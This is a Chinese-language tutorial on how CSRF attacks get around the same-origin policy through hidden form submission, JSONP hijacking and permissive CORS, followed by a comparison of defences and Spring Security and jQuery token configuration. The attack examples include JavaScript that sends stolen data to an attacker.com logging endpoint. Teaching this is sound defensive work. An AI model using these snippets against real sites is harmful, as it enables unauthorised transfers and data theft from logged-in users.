CSRF(跨站请求伪造)攻击之所以能得逞,不是因为浏览器安全机制失效,而是攻击者利用了浏览器对用户已登录状态的自动携带特性,以及同源策略在某些场景下的豁免规则。同源策略只限制跨域访问响应内容,并不限制跨域发起请求;攻击者通过构造恶意页面,诱使用户在不知情的情况下向目标站点发送请求,从而执行非法操作。理解CSRF攻击绕过同源策略的具体手法,才能针对性地部署防御。
表单提交是跨站请求伪造最早也是最常见的绕过方式。浏览器允许任何页面通过<form>标签向任意域名提交数据,并且会自动携带目标站点的Cookie(同源策略下,Cookie的发送由SameSite属性决定,但默认情况下,老版本浏览器或未设置SameSite时,第三方Cookie仍会被发送)。攻击者构造一个隐藏表单,通过JavaScript自动提交,或诱导用户点击一个看似无害的按钮。
// 攻击者页面中的恶意代码
var form = document.createElement('form');
form.method = 'POST';
form.action = 'https://bank.example.com/transfer';
form.innerHTML = '<input name="to" value="attacker"><input name="amount" value="10000">';
document.body.appendChild(form);
form.submit();这个请求会携带用户登录bank.example.com的Cookie,如果后端没有校验来源或Token,转账操作就会成功。
JSONP(JSON with Padding)是早期解决跨域数据获取的方案,通过<script>标签加载外部资源,不受同源策略限制。攻击者如果发现目标站点存在JSONP接口,且没有对callback参数进行严格校验,就可以构造一个恶意页面,利用用户的登录状态获取敏感数据。
<!-- 攻击者页面 -->
<script>
function stealData(data) {
// 将数据发送到攻击者服务器
new Image().src = 'https://attacker.com/log?data=' + JSON.stringify(data);
}
</script>
<script src="https://bank.example.com/userinfo?callback=stealData"></script>如果目标站点未对callback做白名单限制,攻击者可以定义一个同名函数,从而窃取响应中的JSON数据。这种方式不仅绕过了同源策略,还实现了跨域数据窃取,属于CSRF与XSS的结合变种。
现代浏览器依靠CORS(跨域资源共享)机制来控制跨域请求。如果服务器错误地配置了Access-Control-Allow-Origin: *,或者设置了过于宽松的Origin白名单(例如反射用户输入的Origin),攻击者就可以在自己的页面中发起跨域请求,并读取响应内容。这种情况下,攻击者不仅可以执行写入操作,还能获取敏感数据,危害更大。
// 攻击者页面中的fetch请求
fetch('https://bank.example.com/api/transfer', {
method: 'POST',
credentials: 'include', // 携带Cookie
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ to: 'attacker', amount: 10000 })
}).then(res => res.text()).then(data => {
// 读取响应内容,获取执行结果
new Image().src = 'https://attacker.com/log?result=' + encodeURIComponent(data);
});当服务器返回的Access-Control-Allow-Origin包含攻击者的域名时,浏览器会允许JavaScript读取响应,从而完成一次完整的CSRF攻击。
防御CSRF的核心思路有两个方向:验证请求来源(同源检测)和验证用户意图(CSRF Token)。下表对比了几种主流防御方案在应对上述三种手法时的有效性。
| 防御方案 | 手法一(表单提交) | 手法二(JSONP劫持) | 手法三(CORS配置错误) |
|---|---|---|---|
| Referer/Origin校验 | 有效,但可能被屏蔽或伪造 | 有效,但需严格校验 | 有效,但需结合白名单 |
| CSRF Token(同步表单) | 有效,Token随机且绑定会话 | 有效,但需确保Token不被泄露 | 有效,但不能解决读取问题 |
| SameSite Cookie(Strict) | 完全阻止,但影响用户体验 | 完全阻止 | 完全阻止 |
| 自定义请求头验证 | 有效,需前端配合 | 有效,但JSONP无法使用 | 有效,需CORS配合 |
从表中可以看出,CSRF Token 是防御能力最全面的方案,只要Token生成符合随机性要求且绑定用户会话,上述三种手法都无法绕过。但Token需要前后端配合实现,且对JSONP接口无法保护(因为JSONP本质是GET请求,Token容易被泄露)。SameSite Cookie 在Chrome 80+版本中默认开启Lax模式,可以阻止大部分POST类型的CSRF,但对GET请求的CSRF(如JSONP)仍有风险,且老版本浏览器兼容性差。因此,最佳实践是组合使用:采用CSRF Token + SameSite=Lax + 严格校验Referer/Origin,形成纵深防御。
以下是一个典型的Spring Security配置,启用了CSRF保护并设置Token的生成策略。
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.csrf()
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
.ignoringAntMatchers("/api/sso/") // 忽略SSO接口
.and()
.authorizeRequests()
.anyRequest().authenticated();
}
}在HTML表单中,需要引入Thymeleaf的CSRF自动注入,或手动添加隐藏域:<input type="hidden" name="${_csrf.parameterName}" value="${_csrf.token}" />。对于AJAX请求,需要从Cookie中读取Token并添加到请求头。
// 使用jQuery自动携带CSRF Token
var token = $("meta[name='_csrf']").attr("content");
var header = $("meta[name='_csrf_header']").attr("content");
$(document).ajaxSend(function(e, xhr, options) {
xhr.setRequestHeader(header, token);
});注意:CookieCsrfTokenRepository.withHttpOnlyFalse()允许前端JavaScript读取Cookie中的Token,但会带来XSS攻击泄漏Token的风险。生产环境建议使用HttpOnly Cookie,并通过其他方式(如自定义Header)传递Token。
无论攻击手法如何演变,CSRF防御的底层逻辑始终是:确保请求是用户主动发出的,而非被第三方伪造。同源限制是浏览器赋予的第一道防线,但开发者不能完全依赖它,因为攻击者总能找到绕过方式。必须通过Token、SameSite、自定义Header等多种手段,将验证粒度细化到请求级别。同时,拒绝使用JSONP等不安全方案,如果必须使用,应对callback做严格白名单校验。只有将防御策略融入到开发流程的每个环节,才能有效抵御跨站请求伪造攻击。
评论
加载中...